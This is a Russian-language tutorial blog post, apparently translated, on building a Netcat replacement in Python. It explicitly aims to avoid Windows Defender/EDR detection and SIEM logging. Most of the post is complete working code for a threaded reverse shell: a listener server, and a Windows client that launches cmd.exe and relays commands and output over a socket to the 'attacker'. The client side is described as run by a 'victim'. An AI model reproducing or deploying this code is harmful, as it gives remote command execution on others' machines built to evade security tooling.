Создайте свой собственный Netcat, используя Python
Зачем создавать собственную версию Netcat? Вот несколько причин:
- Защитник Windows для конечной точки — это по крайней мере одно решение EDR. Я могу подтвердить, что оно блокирует/помечает его, если оно используется в Windows. Я уверен, что другие решения EDR тоже это обнаруживают.
- Даже если он не обнаружен, он, скорее всего, где-то регистрируется и отправляется в SIEM организации.
- Сокеты — это основная основа всего, что связано с C2, обратными шеллами/шеллкодами, RCE и т. д. Поэтому нам, вероятно, следует понять, как они работают!
- Самый популярный шеллкод, созданный с использованием msfvenom, — это обратный шелл. Что произойдет, если вы не сможете создать обратную оболочку с помощью msfvenom…
Вышеупомянутые причины достойны изучения того, как создавать собственные серверные и клиентские сценарии сокетов, которые выполняют то же самое, что и Netcat, за исключением функции передачи файлов.
Ладно, я закончил болтать, начнем!
СерверПостоянная ссылка
import socket import subprocess import sys import time import threading import asyncio import io import os #import readline import colorama from colorama import Fore, Back, Style host = "0.0.0.0" # No IP restrictions for the IP to be used for a connection port = 4546 # the selected port we will use for listening for a connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #type of socket, in this case IPV4 addresses are expected to be used s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #allow reusing this socket for multiple connections s.bind((host, port)) #bind to our set IP/port s.listen(5) # queue up as many as 5 connect requests before refusing additional connections print(Fore.YELLOW + "[+] listening on port "+str(port), Fore.WHITE) conn, addr = s.accept() print(Fore.GREEN, f'\n[*] Accepted new connection from: {addr[0]}:{addr[1]}', Fore.WHITE)
Это базовый шаблон для привязки к указанному вами IP/порту, который можно найти в приведенном выше коде. Вот и все! Приведенный выше код — это все, что необходимо для привязки к вашему IP/порту и прослушивания удаленных подключений.
КлиентПостоянная ссылка
import argparse import socket import subprocess import sys import threading import os import time from win32com.shell import shell host="127.0.0.1" # ip of the listening server we wish to connect to port=4546 # port for the listening server we wish to connect to client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #IPV4 TCP/IP networking try: client.connect((host, port)) #connect over to our server! except: print("server/socket must have died...time to hop off") #self-explanatory os._exit(0)
Это базовый шаблон для подключения к вашему прослушивающему серверу. Написать клиент даже проще, чем код сервера! 😸
Хорошо… это невероятно просто. Я понимаю. Просто подожди… Это еще не все. Я использую это как возможность объяснить основы вплоть до отправки оболочки на сервер. Повесить там!
Теперь нам нужен способ настроить отдельные фоновые «рабочие» потоки, которые будут постоянно получать и отправлять данные через наш сокет. Python делает это проще простого! Мы настроим два потока:
- Первый поток выполнит наш код, содержащийся в функции shellreceiver(). Эта функция будет постоянно готова к получению возвращаемого командной оболочкой cmd клиента сокета STDOUT (вывод «оболочки» клиента).
- Второй поток будет запускать наш код, содержащийся в функции shellsender(). Эта функция будет постоянно готова отправлять ваши команды, которые вы хотите выполнить на клиенте, поскольку на клиенте будет запущена оболочка cmd.exe.
Надеюсь это имеет смысл. Признаюсь, мне потребовалось некоторое время, чтобы наконец понять, как работает оболочка. Пример, на котором я строю, — это то, как выполняется классическая обратная оболочка. Ваша жертва запускает клиент обратной оболочки, который запускает cmd.exe
процесс и передает выходные данные в ваш сокет. Затем он отправляется на ваш прослушивающий сервер. Как только наш прослушивающий сервер получает выходные данные оболочки, мы отправляем команду обратно клиенту для выполнения. Кстати, клиент также находится в состоянии прослушивания через потоки, что мы увидим позже. Хорошо, давайте посмотрим обновленный код:
Обновлен код серверного сокета.Постоянная ссылка
import socket import subprocess import sys import time import threading import asyncio import io import os #import readline import colorama from colorama import Fore, Back, Style #receive the cmd.exe shell command output from the client def shellreceiver(conn): while True: try: data=conn.recv(1) print(data.decode(), end="", flush=True) except: print("server/socket must have died...time to hop off") conn.close() os._exit(0) #send our command we'd like executed on the victim/client! def shellsender(conn): while True: mycmd=input("") mycmd=mycmd+"\n" try: conn.send(mycmd.encode()) except: print("server/socket must have died...time to hop off") conn.close() os._exit(0) host = "0.0.0.0" port = 4546 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(5) print(Fore.YELLOW + "[+] listening on port "+str(port), Fore.WHITE) conn, addr = s.accept() print(Fore.GREEN, f'\n[*] Accepted new connection from: {addr[0]}:{addr[1]}', Fore.WHITE) #New code starts here. This initiates our threads! ################################################## s2p_thread = threading.Thread(target=shellreceiver, args=[conn, ]) s2p_thread.daemon = True s2p_thread.start() s2p_thread = threading.Thread(target=shellsender, args=[conn, ]) s2p_thread.daemon = True s2p_thread.start() ################################################## #continuous loop while True: time.sleep(1)
Теперь давайте вернемся к клиентскому коду и внесем все необходимые изменения, чтобы включить в него многопоточность.
Обновленный клиентский кодПостоянная ссылка
import argparse import socket import subprocess import sys import threading import os import time from win32com.shell import shell #cmd.exe has now executed our command this client received from the server. Now we send the STDOUT result of that command after it ran via cmd.exe! def shellstdout_sender(client, myshellproc): while True: output=myshellproc.stdout.read1() try: client.send(output) #basic exception handler to kill the process for cmd.exe if we cannot reach the server except: print("connection died...") subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid)) client.close() os._exit(0) #send errors (example: you typed 'net usr' intead of 'net user'. This will show you the error produced by cmd.exe def shellstderr_sender(client, myshellproc): while True: output=myshellproc.stderr.read1() try: client.send(output) #basic exception handler to kill the process for cmd.exe if we cannot reach the server except: print("connection died...") subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid)) client.close() os._exit(0) #This function will take the command the server sent to this client, write it to the cmd.exe console, and execute it #The shellsender() function will send the results of the executed command back to the server / attacker def shellreceiver(client, myshellproc): while True: try: data = client.recv(1024) if len(data) > 0: #if you type :leave: in the server/attacker console it closes the connection. similar to 'exit' but just a custom version of that that I like to implement if ":leave:" in data.decode("UTF-8"): subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid)) client.close() os._exit(0) myshellproc.stdin.write(data) myshellproc.stdin.flush() #basic exception handler to kill the process for cmd.exe if we cannot reach the server except: print("connection died...") subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid)) client.close() os._exit(0) # start the command shell and pipe it's contents to stdin, stout, and stderr myshellproc = subprocess.Popen("cmd.exe", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) host="127.0.0.1" port=4546 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((host, port)) except: print("server/socket must have died...time to hop off") os._exit(0) #This initiates our function threads! ############################################### s2p_thread = threading.Thread(target=shellstdout_sender, args=[client, myshellproc]) s2p_thread.daemon = True s2p_thread.start() s2p_thread = threading.Thread(target=shellstderr_sender, args=[client, myshellproc]) s2p_thread.daemon = True s2p_thread.start() s2p_thread = threading.Thread(target=shellreceiver, args=[client, myshellproc]) s2p_thread.daemon = True s2p_thread.start() ############################################### #continuous loop while True: time.sleep(1)
Демонстрация сервера/клиентаПостоянная ссылка
Если вы зашли так далеко, то поздравляю! Извините, я больше не комментировал код. У меня не так много времени, чтобы я мог посвятить эти статьи, но я постарался подробно описать основные аспекты функциональности обратной оболочки сервера/клиента, чтобы вы могли написать свою собственную и построить на ее основе 😸
Если вам нужен необработанный код, просто перейдите сюда и вы сможете получить как сервер, так и клиент: код сервера/клиента